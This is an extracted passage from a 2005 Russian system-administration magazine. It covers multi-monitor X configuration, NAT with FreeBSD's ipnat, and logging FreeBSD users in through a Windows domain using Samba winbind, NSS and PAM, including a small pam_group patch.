жет перемещать курсор мышки из одного монитора в дру-
гой. Несмотря на то, что курсор свободно путешествует
между рабочими столами разных видеокарт, окна и меню
перетащить нельзя. Создание скриншота рабочего стола
для обоих частей работает раздельно.
При включенном режиме Xinerama все три монитора
рассматриваются как единый рабочий стол. Естественно,
скриншот снимается один со всей рабочей области. При
этом растянуть меню на все три монитора нельзя, а окна
можно. Либо меню находится на мониторе от S3 либо од-
новременно на двух от Radeon.
№3, март 2005
администрирование
Замечание 8. Всё написанное выше для Fedora Core 3
справедливо для ASP Linux 10.
Надеюсь, что настройка X через правку xorg.conf не по-
казалась вам сложной и при аналогичном подключении
нескольких мониторов в вашей конфигурации к одной или
более видеокартам не вызовет проблем.
Ссылки:
1. Radeon VE Dual Display Support with Linux/XFree86: http://
www.polylith.com/~brendan/UnixBoxes/RadeonVE.html.
2. Multiple Monitors with X Mini Guide: http://www.linux-
lookup.com/modules.php?op=modload&name=Sections&file=
index&req=viewarticle&artid=13&page=1.
3. Настройка режима монитора в XFree86: http://www.inp.nsk.su/
~buzykaev/xf_monitor.html, http://knot.pu.ru/faq/xfaq.html.
4. Связь между полосой пропускания, частотой кадров и ча-
стотой горизонтальной развертки: http://www.samsung.ru/
support/products/displays/faq/?id=114.
5. Another Quick How-To for Dual-X-Headed/Legged Linux:
http://www.disjunkt.com/dualhead.
6. Из архива сообщений Re: [K12OSN] 1PC+4KVM=4users/
PC: http://www.redhat.ru/archives/k12osn/2004-May/
msg00260.html.
7. Matrox Graphics. Multi-display products: http://www.matrox.com/
mga/multidisplay/product_chart.cfm.
8. Welcome to the Multi-display community: http://www.matrox.com/
mga/multidisplay/md_testimonials.cfm.
9. Using Xinerama to MultiHead XFree86 V. 4.0+: http://
www.tldp.org/HOWTO/Xinerama-HOWTO/index.html.
19
 администрирование
FreeBSD TIPS: ИСПОЛЬЗОВАНИЕ ipnat
В одной из предыдущих статей [1] было рассмотрено пост-
роение сервера NAT на основе FreeBSD и natd. Данная ста-
тья будет посвящена другому средству – модулю ipnat, вхо-
дящему в пакет IPFilter. Сам IPFilter уже рассматривался на
страницах журнала [2].
Некоторые основополагающие моменты я повторю, что-
бы сохранить целостность и самодостаточность этого ма-
териала, а сосредоточимся мы именно на построении сер-
вера NAT.
Во FreeBSD 5.3 IPFilter (ipf), входящий в состав систе-
мы, может быть встроен в ядро, для чего ядро нужно пере-
собрать с опциями IPFILTER и IPFILTER_LOG. Так же ipf
может быть запущен как модуль. Я воспользуюсь второй
возможностью.
Итак, ядро трогать не будем. Для работы ipnat фильтр
ipf должен быть настроен и запущен. В простейшем случае
достаточно запустить его с парой правил, разрешающих
прохождение любых пакетов, что может быть оправдано в
том случае, если регулирование пакетов вы уже осуществ-
ляете другим фильтром. Правила заносятся по умолчанию
в /etc/ipf.rules:
Ôàéë /etc/ipf.rules
pass in from any to any
pass out from any to any
20
СЕРГЕЙ СУПРУНОВ
Запуск фильтра можно выполнить из командной строки:
# ipf -Fa -f /etc/ipf.rules
Ключ -Fa очищает все ранее заданные правила и заг-
ружает те, которые перечислены в конфигурационном фай-
ле. Для автоматического запуска фильтра при перезагруз-
ке добавьте опцию «ipfilter_enable = “YES”» в /etc/rc.conf.
Если поддержка фильтра не включалась в ядро, в списке
подгруженных модулей появится модуль ipl.ko.
Аналогично правила трансляции адресов записывают-
ся по умолчанию в файл /etc/ipnat.rules. Запуск ipnat вы-
полняется командой:
# ipnat -CF -f /etc/ipnat.rules
Ключ -C очищает таблицу правил, ключ -F удаляет за-
писи из таблицы трансляций. Поскольку ipnat является, по
сути, частью пакетного фильтра, то никакого перенаправ-
ления трафика на вход этого NAT-сервера не требуется. Вхо-
дящие пакеты сначала будут подвергаться трансляции
(пройдут через правила ipnat), затем поступят на вход ipf.
Исходящие пакеты, наоборот, сначала фильтруются на ipf,
а что будет пропущено, подвергается трансляции в соот-
ветствии с правилами ipnat.

Для автоматического запуска при перезагрузке в /etc/
rc.conf добавьте строчку «ipnat_enable = “YES”».
Итак, приступим к рассмотрению правил трансляции. За-
мечу, что, в отличие от ipfw, в ipf и ipnat, правила не нуме-
руются, и их порядок определяется последовательностью
загрузки, то есть местом в конфигурационном файле.
Собственно трансляция пакетов, исходящих с машин ло-
кальной сети в Интернет (маскарадинг), осуществляется
правилом map:
map rl0 from 192.168.0.0/24 to any -> 100.100.100.101/32
Читать его очень просто, почти как на естественном язы-
ке: преобразовывать пакеты, проходящие через интерфейс
rl0, с адресов, принадлежащих указанной подсети, на лю-
бые адреса, заменив адрес отправителя указанным реаль-
ным. Если конкретизация адресов назначения не требует-
ся, можно использовать и упрощенный синтаксис:
map rl0 192.168.0.0/24 -> 100.100.100.101/32
Правило может быть дополнено некоторыми опциями,
из которых наиболее часто используется portmap. Она кон-
кретизирует, на какие номера портов отображать пакеты.
Диапазон портов, которые разрешается использовать для
целей трансляции, задается в виде begin:endN. Например,
следующее правило позволяет использовать только TCP-
порты с 10000 по 10999:
map rl0 192.168.0.0/24 -> 100.100.100.101/32 ↵
portmap tcp 10000:10999
После символов «–>» может быть указан не только один
адрес, но и подсеть внешних адресов. В этом случае пра-
вило map сможет использовать любой свободный адрес из
указанной подсети.
Для безусловной двунаправленной трансляции между
внутренним и внешним адресами используется правило
bimap:
bimap rl0 192.168.0.125/32 -> 100.100.100.125/32
Помимо трансляции исходящих пакетов все входящие
пакеты, адресованные хосту 100.100.100.125, будут перенап-
равляться на «внутреннюю» машину. Это правило позволит
машине с адресом 192.168.0.125 выглядеть снаружи так,
как будто она имеет реальный адрес 100.100.100.125.
Если нужно пропускать пакеты, приходящие на опреде-
ленные порты, внутрь локальной сети, например, если там
размещен Web- или FTP-сервер, используются правила пе-
ренаправления:
rdr rl0 100.100.100.180/32 port 80 -> 192.168.0.80 ↵
port 8080 tcp
В этом случае TCP-пакеты, адресованные на 80-й порт
хоста 100.100.100.125, будут транслироваться на порт 8080
машины, расположенной внутри локальной сети.
Одним из интересных свойств редиректа является воз-
можность создавать балансировщик нагрузки между не-
сколькими серверами, хотя и довольно примитивный. На-
№3, март 2005
администрирование
пример, следующие правила будут поочередно перенаправ-
лять входящие запросы то на один, то на другой сервер:
rdr rl0 100.100.100.180/32 port 80 -> 192.168.0.80 ↵
port 8080 tcp round-robin
rdr rl0 100.100.100.180/32 port 80 -> 192.168.0.81 ↵
port 8080 tcp round-robin
Опция round-robin заставляет динамически менять по-
рядок правил таким образом, что эти правила срабатыва-
ют по очереди.
Для контроля за работой ipnat используются два ключа:
-s и -l. Первый выдает общую статистику работы NAT-сер-
вера:
# ipnat -s
mapped in 476 out 460
added 29 expired 27
no memory 0 bad nat 0
inuse 1
rules 1
wilds 0
Ipnat со вторым ключом выводит список активных пра-
вил и список активных в данный момент сеансов:
# ipnat -l
List of active MAP/Redirect filters:
map rl0 from 192.168.0.100/32 to any -> 100.100.100.100/32
List of active sessions:
MAP 192.168.0.100 1035 <- -> 100.100.100.100 1035 [64.12.26.148 443]
Дополнительные сведения можно, как обычно, получить
на страницах справочного руководства man ipnat(5), ipnat(1).
Замечу, что ipfw, natd, ipf, ipnat отлично уживаются вме-
сте. Нужно только не забывать про особенности фильтров:
ipfw срабатывает по первому совпадению, а ipf (без опции
quick в правиле) – по последнему. Ну и всегда следует иметь
в виду порядок прохождения пакета через фильтры. Так,
если поддержка ipf собрана в ядре, то независимо от того,
как запущен ipfw, в первую очередь пакеты будут прохо-
дить через правила ipf, а ipfw получит на вход только то,
что будет им пропущено. Если же ipfw собран в ядре, а ipf
подгружен как модуль, то правом первенства будет пользо-
ваться ipfw.
Как natd, так и ipnat, отлично справляются с типовыми
задачами трансляции адресов, и выбор между ними – ско-
рее дело вкуса. В «экзотических» случаях могут понадо-
биться уникальные свойства того или иного сервера. На-
пример, средства проксирования у natd более развиты, чем
у ipnat, зато с помощью ipnat намного проще реализовать
трансляцию различных групп адресов по разным правилам.
Если ipnat способен решать те задачи, которые вам требу-
ются, то, учитывая его «близость» к ядру и, следовательно,
лучшее быстродействие, рекомендуется использовать этот
сервер NAT. К тому же его конфигурация выглядит немно-
го более удобной.
Литература:
1. Супрунов С. FreeBSD tips: NAT по старинке. – журнал
«Системный администратор» №2, 2005 г.
2. Ильченко Т. IPFilter с самого начала. – журнал «Систем-
ный администратор» №5, 2004 г.
21
 администрирование
FreeBSD В ДОМЕНЕ Microsoft Windows
Постановка задачи
Предположим, имеется некоторое количество компьютеров,
объединенных в локальную сеть и включенных в один
Microsoft-based домен с контроллером домена на базе
Windows 2000 Server. Как известно, в такой конфигурации
нет необходимости заводить пользователей на каждом из
компьютеров – достаточно создать пользователя в домене
и можно с его учетной записью регистрироваться и рабо-
тать на любом компьютере домена, если на то не установ-
лено специальных ограничений. Теперь предположим, что
в этот домен (например, MYDOMAIN) необходимо добавить
рабочую станцию под управлением FreeBSD. Полноценное
взаимодействие с членами Microsoft-based домена FreeBSD
выполняет с помощью пакета Samba. Можно ли обойтись
без создания локальных пользователей на FreeBSD и в
момент авторизации действовать так же, как рабочая стан-
ция Microsoft Windows, – запрашивать список пользовате-
лей с контроллера домена? До недавнего времени ответ
был однозначен: «Нельзя». Несмотря на наличие в систе-
ме winbindd, который позволяет получать информацию о
пользователях домена, не было способов интегрировать
доменных пользователей в систему и работать с ними так,
как если бы они были локальными (хотя новая Samba 3.x
предоставляет такую возможность). Но с выходом FreeBSD
5.x все изменилось в лучшую сторону.
Итак, задача: настроить систему таким образом, чтобы
можно было регистрироваться в системе, а также заходить
по ftp, ssh, kdm и использовать xlockmore но при этом не
создавать локального пользователя. Полигон: рабочая стан-
ция под управлением FreeBSD 5.3-RELEASE с установлен-
ной Samba 3.0.10, контроллер домена под управлением
Windows 2000 Server. В сети Microsoft Network рабочая стан-
ция называется MYSTATION, контроллер домена – MYPDC.
Новые возможности
Благодаря чему поставленная задача стала решаемой? Ре-
шение задачи базируется на двух краеугольных камнях.
Во-первых, во FreeBSD 5.х наконец-то появилась под-
держка NSS (Name Service Switching), благодаря чему те-
перь возможно перенаправлять запросы программ, запра-
шивающих информацию о пользователе, группе, компью-
тере и т. д. Допустим, мы вводим команду id (выдать ин-
формацию о пользователе) в системе, не входящей в до-
мен Microsoft Windows:
> id user1
uid=1001(user1) gid=999(user1) groups=999(user1), 0(wheel), 20(staff),
69(network), 70(pgsql)
Программа id вызывает системную функцию getuid() для
получения информации о пользователе, логин которого за-
дан в командной строке. Порядок получения информации
функцией getuid() во FreeBSD версий 4.х и 5.х приведен на
рисунке.
22
РАШИД АЧИЛОВ
Getuid() обращается к единственному источнику инфор-
мации – локальной базе пользователей – файлу master.passwd
для получения данных и выдает ответ, показанный выше.
Теперь мы вводим команду id в системе, которая подклю-
чена к домену Microsoft Windows надлежащим образом:
> id user1
uid=15020(user1) gid=15001(Domain Users) groups=15001 (Domain Users),
15011(Consultant users), 15014(LaserJet 1100 users), 15017(Production Users)
Getuid() обращается к файлу nsswitch.conf, получает из
него список источников информации и последовательно об-
ращаясь к каждому, опрашивает их на предмет получения
данных. И точно так же будет вести себя любая другая про-
грамма, которой потребуется получить информацию о поль-
зователе или, например, проверить пароль пользователя.
Во-вторых, это PAM (Pluggable Authentication Mechanism) –
чрезвычайно мощный и столь же гибкий механизм, позволя-
ющий реализовывать практически любые механизмы аутен-
тификации пользователей любыми путями. Конечно, реали-
зация PAM была и в 4.x. Но только в 5.x появилась возмож-
ность использовать его для целей аутентификации из доме-
на Microsoft. Файл /etc/pam.conf в FreeBSD 5.x был заменен
на каталог /etc/pam.d, в котором размещается по одному
файлу на каждый сервис с именем, совпадающим с назва-
нием сервиса. Таким образом, настройка FreeBSD для аутен-
тификации из домена Microsoft Windows сводится к:
! Настройке Samba для обеспечения возможности рабо-
тать с доменом Microsoft Windows.
! Настройке PAM для обеспечения работоспособности
различных сервисов. Мы рассмотрим только несколько
наиболее часто используемых сервисов: login, kdm, ftp,
ssh и xlock. При необходимости прочие сервисы могут
быть настроены по образцу.
Настройка Samba и NSS
Так же как театр начинается с вешалки, так и представле-
ние FreeBSD, как и любой другой UNIX-системы в сети Micro-
soft Windows, начинается с настройки пакета Samba. Об этом

написано достаточно как на английском, так и на русском. С
моей точки зрения лучшей является документация, создан-
ная самими авторами пакета: «Using Samba», «Official Samba-
3 HOWTO and reference Guide», «Samba-3 by Example».
Мы рассмотрим только настройки winbindd, необходи-
мые для получения информации из домена Microsoft
Windows. Предполагается, что рабочая станция уже явля-
ется членом домена.
template homedir = /usr/home/%U
Этот параметр определяет «домашний каталог» сетево-
го пользователя. Winbindd для каждого пользователя, отсут-
ствующего в локальной базе, создает запись, по формату
совпадающую с форматом записей файла master.passwd.
Для заполнения полей, которые принципиально отсутству-
ют в домене Microsoft Windows, winbindd использует этот и
подобные ему другие параметры. Макрос %U, как это при-
нято в пакете Samba, обозначает имя пользователя. Ката-
лог должен существовать, пользователь должен иметь на
него необходимые права. При создании локальных пользо-
вателей все эти действия выполняет команда adduser. Как
обеспечить наличие домашнего каталога для сетевого
пользователя? Microsoft Windows выполняет это действие
автоматически. Стандартное решение мне неизвестно, не-
стандартных же способов есть несколько:
! Завести локального пользователя «_dummy» и вручную
копировать домашний каталог всем создаваемым се-
тевым пользователям с последующим изменением вла-
дельца файлов.
! Использовать возможность PAM session. Данный эле-
мент настроек PAM обычно используется для занесе-
ния записей о начале сессии в файлы utmp/wtmp.
template shell = /bin/tcsh
Это второй параметр, который используется winbindd для
заполнения записи о сетевом пользователе. Если локаль-
ная работа пользователей с данного компьютера не плани-
руется, значением данного параметра можно выставить лю-
бую неинтерактивную программу, обычно это /sbin/nologin.
dmap gid = 15000-30000
idmap uid = 15000-30000
Значения этих параметров очень важны для работы
winbindd. Они задают диапазоны идентификаторов пользо-
вателей и групп, выделяемых для сетевых пользователей.
В указанных диапазонах не должно существовать локаль-
ных пользователей или пользователей YP/NIS.
winbind use default domain = true
Этот параметр определяет, как winbindd будет реагиро-
вать на имя пользователя, не содержащее домена. Если
параметр указан, то winbindd будет подставлять workgroup=
<workgroup_or_domain_name> из smb.conf в качестве име-
ни домена. Значение этого параметра практически не вли-
яет на работу в сети Microsoft Windows, зато значительно
облегчает работу по протоколам ftp, ssh, электронной по-
№3, март 2005
администрирование
чты и т. д., потому что не будет требоваться указание доме-
на (user1 вместо MYDOMAIN\user1).
winbind separator = +
Этот параметр задает разделитель между доменом и
именем пользователя. Значением по умолчанию является
«\», но рекомендуется изменять параметр на что-нибудь дру-
гое, особенно, если планируется использование запросов
к winbindd в скриптах. Символ «\» воспринимается команд-
ной оболочкой как служебный и обязательно должен быть
«экранирован», то есть отмечен таким образом, чтобы ко-
мандная оболочка воспринимала его как обычный символ.
При этом «экранирование» может проводиться неоднократ-
но и определить нужное число символов становится весь-
ма нетривиальной задачей. Samba-3 HOWTO рекомендует
устанавливать еще два параметра:
winbind enum users = yes
winbind enum groups = yes
По умолчанию эти значения уже установлены в «yes».
Если база пользователей большая, рекомендуется отклю-
чить перенумерацию, то есть установить значения в «no».
На что еще следует обратить внимание:
! Samba по умолчанию собирается с winbindd, поэтому во
время сборки пакета не отключайте эту опцию!
! По умолчанию файлы динамических библиотек nss_win-
bind.so, pam_winbind.so, nss_wins.so и pam_smbpass.so
(если его сборка была запрошена опцией PAM_
SMBPASS) помещаются в каталог /usr/local/lib. Если рас-
положение каталогов меняется, необходимо убедиться,
что каталог, в котором размещены данные файлы, вхо-
дит в LDCONFIG_PATH.
! Берегите базу IDMAP, после того как были розданы пра-
ва на локальные файлы (допустим, создан профиль
KDE, загружены документы, и т. д.). База IDMAP содер-
жит соответствие между учетной записью домена и ло-
кальным UID/GID, которые будут вписываться в права
на файл, как владелец и группа владельцев. Если база
IDMAP была случайно утеряна, то при следующем об-
ращении она будет создана заново, но соответствие
между учетной записью и UID будет нарушено (первый
пользователь, о котором была запрошена информация,
получает UID = idmap uid, второй = idmap uid + 1 и т. д.)
и можно обнаружить, что ваш домашний каталог при-
надлежит другому пользователю. База IDMAP содержит-
ся в двух файлах – /var/db/samba/winbind_groups.tdb и
/var/db/samba/winbind_idmap.tdb.
Настройка NSS выполняется правкой файла настройки
nsswitch.conf. В него следует добавить или изменить сле-
дующие строчки:
group: files winbind
passwd: files winbind
Более подробную информацию о формате файла
nsswitch.conf и его возможностях можно получить из man
nsswitch.conf и главы 21 Samba 3 HOWTO «Winbind: use of
Domain accounts».
23
 администрирование
Как проверить, правильно ли все настроено?
Пример правильного вывода команды id был приведен
выше. Если вместо этого появляется что-то типа:
>id user2
id: user2: no such user
при условии того, что пользователь user2 точно существу-
ет, значит, что-то настроено неправильно. Некоторые слу-
чаи, которые могут привести к такой ситуации, рассмотре-
ны в разделе «Возможные ошибки».
Настройка PAM
Итак, теперь мы можем получить информацию о пользова-
телях домена и использовать их имена точно так же, как
имена локальных пользователей и групп, например, для
раздачи прав:
> ls -l
total 1468
drwx------ 3 shelton Domain Users 1024 19 Dec 14:27 Desktop/
drwx------ 18 shelton Domain Users 3584 13 Feb 22:54 Mail/
drwxr-xr-x 2 shelton Domain Users 1024 14 Jan 2002 RFC/
drwx------ 10 shelton Domain Users 1024 11 Feb 14:49 documents/
Пользователи Windows сразу узнают группу Domain
Users – стандартную группу Microsoft Windows домена. Но
это только еще половина дела. Регистрироваться с сете-
вой учетной записью мы все еще не можем, потому что
службы аутентификации компьютера ничего не знают ни о
сети Microsoft, ни об NSS. Службы аутентификации исполь-
зуют PAM и для решения второй части задачи следует со-
здать необходимые конфигурационные файлы.
Что такое PAM
«...Pluggable Authentication Modules (PAM) – это набор API,
который позволяет системным администраторам добавлять
методы аутентификации простым подключением новых PAM-
модулей, и модифицировать политики аутентификации про-
стым редактированием конфигурационных файлов...» – так
описан PAM в руководстве пользователя FreeBSD. PAM был
разработан в Sun Microsystems в 1995 г. и с тех пор не пре-
терпел больших изменений. FreeBSD 5.х использует спе-
цификацию OpenPAM (в то время как FreeBSD 4.х исполь-
зовала Linux-PAM), но для его изучения годится любая дос-
тупная документация.
Все системные службы по умолчанию используют PAM –
регистрируетесь ли вы на консоли, заходите ли на компью-
тер по ftp или ssh – соответствующая программа (login, ftp,
sshd) считывает оглавление каталога /etc/pam.d, находит
файл с именем, совпадающим с именем сервиса и получа-
ет из него информацию о том, какие модули и в каком по-
рядке следует использовать для аутентификации пользо-
вателя и как обрабатывать их ответы.
Перед тем как вносить какие-либо изменения в содер-
жимое каталога /etc/pam.d, необходимо отметить следующие
моменты:
! Конфигурация PAM довольно-таки запутанная и терми-
нологически неустоявшаяся область, поэтому настоя-
тельно рекомендуется ознакомиться с какой-нибудь до-
кументацией по PAM, перед тем как пытаться в нем что-
то самостоятельно изменить.
24
! Обязательно сохраните копию каталога /etc/pam.d до
того, как начнете вносить в него изменения! (Этот совет
в неизменном виде кочует из одной статьи по PAM в
другую потому что авторы, как правило, на своей шку-
ре убедились в его правильности).
! Для внесения изменений в конфигурацию не нужно ни
перегружать систему, ни перезапускать какие-либо сер-
висы – файл конфигурации сервиса считывается с дис-
ка в момент запроса к данному сервису, поэтому всё
время, пока идут эксперименты с PAM, держите откры-
той как минимум одну консоль с правами root для вне-
сения изменений, если что-то вдруг пойдет не так. Одно
неверное движение – и можно уже не попасть в систему
иначе как в однопользовательском режиме.
Настройка регистрации с консоли
Первое, что необходимо настроить, – это возможность зай-
ти на компьютер с консоли. Конфигурационный файл PAM
для регистрации на консоли уже существует. Он разбит на
две части – файлы /etc/pam.d/login и /etc/pam.d/system. Файл
/etc/pam.d/login нас не интересует, потому что содержит
только стандартные строки и вызов файла /etc/pam.d/
system. В файл /etc/pam.d/system вносим следующие изме-
нения (в секцию auth):
auth sufficient pam_unix.so ↵
no_warn try_first_pass nullok
auth required pam_winbind.so ↵
use_first_pass
Что нам это дает?
Первая строка указывает PAM на необходимость исполь-
зования модуля pam_unix, который выполняет аутентифика-
цию по обычному файлу /etc/master.passwd. Дополнительные
флаги указывают на то, что нужно запросить пароль у пользо-
вателя и что ввод пустой строки допустим. Условие suffcient
вызовет прекращение проверки в случае успешной аутенти-
фикации. Таким образом, если пользователь присутствует в
файле /etc/master.passwd (например, root), дальнейшая про-
верка по базе пользователей домена не выполняется.
Вторая строка определяет использование модуля
pam_winbind, который выполняет аутентификацию по базе
домена Microsoft Windows. Флаг параметров указывает на
то, что нужно использовать пароль, введенный по запросу
предыдущего модуля, а не спрашивать его еще раз. Усло-
вие required устанавливает состояние «успешно, если сле-
дующие успешны». Поскольку следующих модулей нет, ре-
зультат аутентификации будет определяться модулем
pam_winbind. В случае ввода правильного пароля предостав-
ляется доступ в систему и на консоли (а также в файле /var/
log/console, если помещение сообщений в этот файл настро-
ено) появляется сообщение:
Feb 7 18:06:31 sentry kernel: Feb 7 18:06:31 sentry pam_winbind[23340]:
user 'shelton' granted access
Если пароль указан неверно или указано неверное имя
пользователя, pam_winbind выдает соответствующие сооб-
щения:
Feb 12 19:52:03 sentry kernel: Feb 12 19:52:03 sentry pam_winbind[55953]:
request failed: No such user, PAM error was 13,
NT error was NT_STATUS_NO_SUCH_USER

Feb 14 09:04:16 sentry kernel: Feb 14 09:04:16 sentry pam_winbind[43263]:
request failed: Wrong Password, PAM error was 9,
NT error was NT_STATUS_WRONG_PASSWORD
Feb 14 09:04:16 sentry kernel: Feb 14 09:04:16 sentry pam_winbind[43263]:
user `shelton' denied access (incorrect password or invalid membership)
Настройка KDM
Если компьютер используется как рабочая станция, то вто-
рой по важности будет возможность запустить графичес-
кую оболочку. В крайнем случае, конечно, можно восполь-
зоваться «дедовским» методом и прямо из консольного
обработчика команд запустить startx, прописав в .xinitrc
«exec startkde» последней строчкой. Поэтому мы копиру-
ем файл /etc/pam.d/xdm (стандартный) в /etc/rc.d/kdm и
вносим в него изменения, аналогичные описанным выше.
После внесения изменений секция auth-файла /etc/pam.d/
kdm должна выглядеть так:
# auth
auth required pam_nologin.so no_warn
auth sufficient pam_unix.so ↵ Настройка программы xlockmore
no_warn try_first_pass nullok
auth required pam_winbind.so ↵
use_first_pass
Логика работы аутентификаторов будет в точности совпа-
дать с логикой работы, описанной в предыдущем разделе.
Настройка SSH
При настройке SSH я позволил себе немножко схитрить. Не
стал настраивать PAM для SSH, а вместо этого воспользо-
вался возможностью SSH-аутентификации по публичному
ключу. Поскольку SSH использует собственный перечень
методов аутентификации, в котором метод publickey идет до
метода password, проверка доступа с использованием PAM
в таком случае не используется. Порядок настройки аутен-
тификации по публичному ключу изложен в любой докумен-
тации по SSH, а также в статье «Копирование файлов в ав-
томатическом режиме с множества компьютеров через SSH»,
опубликованной в журнале №12, 2004 г. Если же использо-
вать методы аутентификации, основанные на PAM, то необ-
ходимо создать файл /etc/pam.d/ssh2 (можно скопировать
стандартный файл, например, xdm), в который вписать сек-
цию auth приведенную выше, последовательность вызова мо-
дулей проверки доступа. Естественно, SSH должен быть со-
бран с поддержкой PAM. Кроме того, конфигурационный
файл сервера должен включать следующие строчки:
AllowedAuthentications keyboard-interactive
AuthKbdInt.Optional pam
а конфигурационный файл клиента:
AllowedAuthentications keyboard-interactive
Настройка FTP
В качестве FTP-сервера я использую ProFTPd из порта ftp/
proftpd. Поддержка PAM в нем включена по умолчанию. Для
ее использования нужно добавить в конфигурационный
файл сервера proftpd.conf строчку:
AuthPAM on
№3, март 2005
администрирование
Для включения сервиса proftpd создать файл /etc/pam.d/
proftpd (можно скопировать стандартный файл ftp), дора-
ботать его так, как описано в разделе «Настройка регист-
рации с консоли». PAM не требует перезагрузки каких-либо
демонов, поэтому проверить работоспособность конфигу-
рации можно немедленно:
Connected to localhost.granch.ru.
220 Private FTP server by some porgrammer from Granch Ltd.
Name (localhost:shelton): shelton
331 Password required for shelton.
Password: ********
230 User shelton logged in.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>
При этом на консоли отображается сообщение pam_
winbind о предоставлении доступа, приводимое выше, а в
файле /var/log/ftpd – регистрация обычного ftp-сеанса.
Последним рассмотренным примером будет широко изве-
стная программа блокировки экрана xlockmore, выводящая
при этом различные заставки. Xlockmore содержит около
50 различных заставок, в том числе трехмерных. При за-
пуске блокируются клавиатура и экран, и выводится зас-
тавка во время неактивности и пояснительный текст при
нажатии любой клавиши. (Внизу отображается содержимое
файла .signature, если он присутствует в домашнем ката-
логе). Для разблокировки экрана следует ввести пароль,
который программа проверяет либо по локальной базе
пользователей, либо с использованием PAM.
Xlockmore по умолчанию не использует PAM. Для вклю-
чения его использования необходимо дописать в Makefile
порта в строчку CONFIGURE_ARGS ключ --enable-pam и пе-
ресобрать программу. При этом следует иметь в виду, что
ключи --enable-pam и --with-xlock-group почему-то являются
взаимоисключающими – при их одновременном разреше-
нии сборка программы завершается с ошибкой.
Для использования PAM следует создать файл /etc/
pam.d/xlock (можно скопировать стандартный файл xdm) и
изменить его, как показано в разделе «Настройка регист-
рации с консоли». Следует учитывать то, что программа
пропускает только нажатие клавиши переключения раскла-
док, при этом факт переключения раскладки нигде не ото-
бражается, все остальные (в том числе Enter, ESC и пр.) –
интерпретируются как часть пароля!
Дополнительное ограничение
Теперь мы можем регистрироваться в системе с доменной
учетной записью. Но ведь теперь это же могут делать и все
пользователи домена! Такая свобода нам вовсе ни к чему,
поэтому настроим дополнительное ограничение – возмож-
ность использования некоторого сервиса только членам
определенной локальной группы. В этом нам опять помо-
жет PAM.
Существует стандартный модуль pam_group, который
решает именно такую задачу, – аутентификация успешна,
только если пользователь входит в некую локальную груп-
пу. Если его включить в цепочку аутентификаторов, зада-
ча должна быть решена.
25
 администрирование
На практике все оказалось не так-то просто. Модуль по-
чему-то упорно отказывался работать, несмотря на явную
правильность задания параметра. После некоторого иссле-
дования был создан патч для модуля, после наложения ко-
торого все начинает работать, как ожидалось. Патч приве-
ден ниже:
--- pam_group.c.old Tue Dec 14 19:38:56 2004
+++ pam_group.c Tue Dec 14 19:38:56 2004
@@ -70,7 +70,7 @@
return (PAM_IGNORE);
/* get applicant */
- if (pam_get_item(pamh, PAM_RUSER, &ruser) != PAM_SUCCESS
+ if (pam_get_item(pamh, PAM_USER, &ruser) != PAM_SUCCESS
|| ruser == NULL || (pwd = getpwnam(ruser)) == NULL)
return (PAM_AUTH_ERR);
Итоговая логика работы аутентификаторов такова (на
примере файла для сервиса kdm):
# auth
auth required pam_nologin.so no_warn
auth sufficient pam_unix.so
no_warn try_first_pass nullok
auth required pam_group.so
group=ntstaff
auth required pam_winbind.so ↵
use_first_pass
Если существует файл /var/run/nologin (это проверяется
модулем pam_nologin), то доступ будет запрещен, незави-
симо от результата работы прочих модулей (required). Если
pam_nologin разрешает доступ, то устанавливается состо-
яние «разрешить доступ, если не было запретов от других
модулей».
Если pam_unix разрешает доступ (это означает, что
пользователь существует в локальной базе пользователей),
то обработка цепочки прекращается, доступ будет предос-
тавлен. Иначе результат pam_unix игнорируется (sufficient).
Если пользователь присутствует в локальной группе
ntstaff, pam_group разрешает доступ, и состояние «разре-
шить доступ, если не было запретов от других модулей»
сохраняется. Иначе же доступ будет запрещен, независи-
мо от результата работы прочих модулей (required).
Если pam_winbind разрешает доступ и состояние «раз-
решить доступ, если не было запретов от других модулей»
сохранилось, то доступ будет предоставлен, в противном
случае доступ предоставлен не будет. Иначе говоря, если
присутствуют модули с условием required, то результат их
работы обьединяется по «и» – доступ будет предоставлен,
только если все модули предоставили доступ.
Возможные ошибки
Ошибки Winbindd
Если настройка winbindd была выполнена, но команда id
user2 не выдает информацию о группах, в которые входит
пользователь, а выдает что-то типа:
>id user2
id: user2: no such user
следует проверить следующие вещи:
! winbindd запущен (несмотря на всю тривиальность дан-
ного совета);
26
! winbindd настроен правильно (параметры template shell,
template homedir, idmap uid, idmap gid не имеют значе-
ний по умолчанию!);
! команды wbinfo -p и wbinfo -t выдают успешные резуль-
таты (подробнее см. man wbinfo);
! компьютер входит в домен;
! доступен как минимум один контроллер домена, если
указано password server = * или компьютер, указанный
как сервер паролей в параметре password server;
! каталог, в котором находится файл nss_winbind.so при-
сутствует в переменной LDCONFIG_PATH (в особенно-
сти если это нестандартный каталог);
! отсутствие сообщений об ошибках в файлах log.smbd,
log.nmbd и log.winbindd, а также на консоли (например,
файл nss_wins.so, предназначенный для поиска компь-
ютеров по NetBIOS-имени, запустить не удалось из-за
постоянной непонятной ошибки).
Ошибки PAM
↵ Ошибки PAM диагностировать значительно труднее, потому
что практически отсутствуют средства их обнаружения. Для
↵
диагностирования работы цепочек можно использовать мо-
дуль pam_echo, который выводит на экран передаваемые ему
параметры (а также значения макроподстановок. Что мож-
но получить через макросы, указано в man pam_echo).
С чем могут быть связаны ошибки PAМ:
! каталог с файлом pam_winbind.so отсутствует в пере-
менной LDCONFIG_PATH;
! неверные условия для какого-либо модуля из цепочки;
! неверное построение цепочки.
Необходимо точное понимание того, как условия required,
requisute, sufficient и прочие воздействуют на цепочку. Не-
верное построение цепочки может привести к тому, что до-
ступ не будет предоставлен при правильных условиях или
будет предоставлен при неверных условиях.
Заключение
Данная статья рассматривает как на одну небольшую сту-
пеньку приблизить ваш компьютер к «FreeBSD Desktop».
Исключение необходимости создания локального юзера для
работы за компьютером, входящим в домен Microsoft
Windows – маленький, но полезный шаг в этом направле-
нии.
Литература:
1. http://www.freebsd.org/doc/en_US.ISO8859-1/articles/pam/
article.html – Pluggable Authentication Modules by Dag-
Erling Smorgrav, 2003 г.
2. http://www.onlamp.com/pub/a/bsd/2003/02/06/FreeBSD_
Basics.html – PAM by Dru Lavinge, 2003 г.
3. The Offifical Samba-3 HOWTO and reference guide. Jelmer
R. Vernooij, John H. Terpstra, Gerald (Jerry) Carter, 2004 г.
4. Samba-3 by example. John H. Terpstra, 2004 г.
5. SSH Secure Shell for Server version 3.2.9 Administrators
Guide. SSH Communications Secuirty Corp., 2003 г.
6. man pam_echo, man pam_group, man pam.conf, man
